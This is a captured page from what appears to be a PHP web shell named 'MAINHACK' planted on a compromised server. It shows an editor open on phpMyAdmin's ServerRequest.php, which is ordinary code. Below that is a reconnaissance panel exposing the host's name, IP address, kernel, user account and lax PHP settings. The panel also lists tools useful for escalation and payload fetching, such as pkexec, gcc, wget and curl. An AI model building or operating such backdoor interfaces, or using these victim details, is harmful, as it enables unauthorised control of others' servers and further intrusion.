[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ServerRequest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Http; use Psr\Http\Message\ServerRequestInterface; use Psr\Http\Message\StreamInterface; use Psr\Http\Message\UriInterface; use function is_array; use function is_object; use function property_exists; class ServerRequest implements ServerRequestInterface { /** @var ServerRequestInterface */ private $serverRequest; final public function __construct(ServerRequestInterface $serverRequest) { $this->serverRequest = $serverRequest; } /** * @inheritDoc */ public function getProtocolVersion() { return $this->serverRequest->getProtocolVersion(); } /** * @inheritDoc */ public function withProtocolVersion($version) { $serverRequest = $this->serverRequest->withProtocolVersion($version); return new static($serverRequest); } /** * @inheritDoc */ public function getHeaders() { return $this->serverRequest->getHeaders(); } /** * @inheritDoc */ public function hasHeader($name) { return $this->serverRequest->hasHeader($name); } /** * @inheritDoc */ public function getHeader($name) { return $this->serverRequest->getHeader($name); } /** * @inheritDoc */ public function getHeaderLine($name) { return $this->serverRequest->getHeaderLine($name); } /** * @inheritDoc */ public function withHeader($name, $value) { $serverRequest = $this->serverRequest->withHeader($name, $value); return new static($serverRequest); } /** * @inheritDoc */ public function withAddedHeader($name, $value) { $serverRequest = $this->serverRequest->withAddedHeader($name, $value); return new static($serverRequest); } /** * @inheritDoc */ public function withoutHeader($name) { $serverRequest = $this->serverRequest->withoutHeader($name); return new static($serverRequest); } /** * @inheritDoc */ public function getBody() { return $this->serverRequest->getBody(); } /** * @inheritDoc */ public function withBody(StreamInterface $body) { $serverRequest = $this->serverRequest->withBody($body); return new static($serverRequest); } /** * @inheritDoc */ public function getRequestTarget() { return $this->serverRequest->getRequestTarget(); } /** * @inheritDoc */ public function withRequestTarget($requestTarget) { $serverRequest = $this->serverRequest->withRequestTarget($requestTarget); return new static($serverRequest); } /** * @inheritDoc */ public function getMethod() { return $this->serverRequest->getMethod(); } /** * @inheritDoc */ public function withMethod($method) { $serverRequest = $this->serverRequest->withMethod($method); return new static($serverRequest); } /** * @inheritDoc */ public function getUri() { return $this->serverRequest->getUri(); } /** * @inheritDoc */ public function withUri(UriInterface $uri, $preserveHost = false) { $serverRequest = $this->serverRequest->withUri($uri, $preserveHost); return new static($serverRequest); } /** * @inheritDoc */ public function getServerParams() { return $this->serverRequest->getServerParams(); } /** * @inheritDoc */ public function getCookieParams() { return $this->serverRequest->getCookieParams(); } /** * @inheritDoc */ public function withCookieParams(array $cookies) { $serverRequest = $this->serverRequest->withCookieParams($cookies); return new static($serverRequest); } /** * @inheritDoc */ public function getQueryParams() { return $this->serverRequest->getQueryParams(); } /** * @inheritDoc */ public function withQueryParams(array $query) { $serverRequest = $this->serverRequest->withQueryParams($query); return new static($serverRequest); } /** * @inheritDoc */ public function getUploadedFiles() { return $this->serverRequest->getUploadedFiles(); } /** * @inheritDoc */ public function withUploadedFiles(array $uploadedFiles) { $serverRequest = $this->serverRequest->withUploadedFiles($uploadedFiles); return new static($serverRequest); } /** * @inheritDoc */ public function getParsedBody() { return $this->serverRequest->getParsedBody(); } /** * @inheritDoc */ public function withParsedBody($data) { $serverRequest = $this->serverRequest->withParsedBody($data); return new static($serverRequest); } /** * @inheritDoc */ public function getAttributes() { return $this->serverRequest->getAttributes(); } /** * @inheritDoc */ public function getAttribute($name, $default = null) { return $this->serverRequest->getAttribute($name, $default); } /** * @inheritDoc */ public function withAttribute($name, $value) { $serverRequest = $this->serverRequest->withAttribute($name, $value); return new static($serverRequest); } /** * @inheritDoc */ public function withoutAttribute($name) { $serverRequest = $this->serverRequest->withoutAttribute($name); return new static($serverRequest); } /** * @param mixed $default * * @return mixed */ public function getParam(string $param, $default = null) { $getParams = $this->getQueryParams(); $postParams = $this->getParsedBody(); if (is_array($postParams) && isset($postParams[$param])) { return $postParams[$param]; } if (is_object($postParams) && property_exists($postParams, $param)) { return $postParams->$param; } if (isset($getParams[$param])) { return $getParams[$param]; } return $default; } /** * @param mixed $default * * @return mixed */ public function getParsedBodyParam(string $param, $default = null) { $postParams = $this->getParsedBody(); if (is_array($postParams) && isset($postParams[$param])) { return $postParams[$param]; } if (is_object($postParams) && property_exists($postParams, $param)) { return $postParams->$param; } return $default; } public function isPost(): bool { return $this->getMethod() === 'POST'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002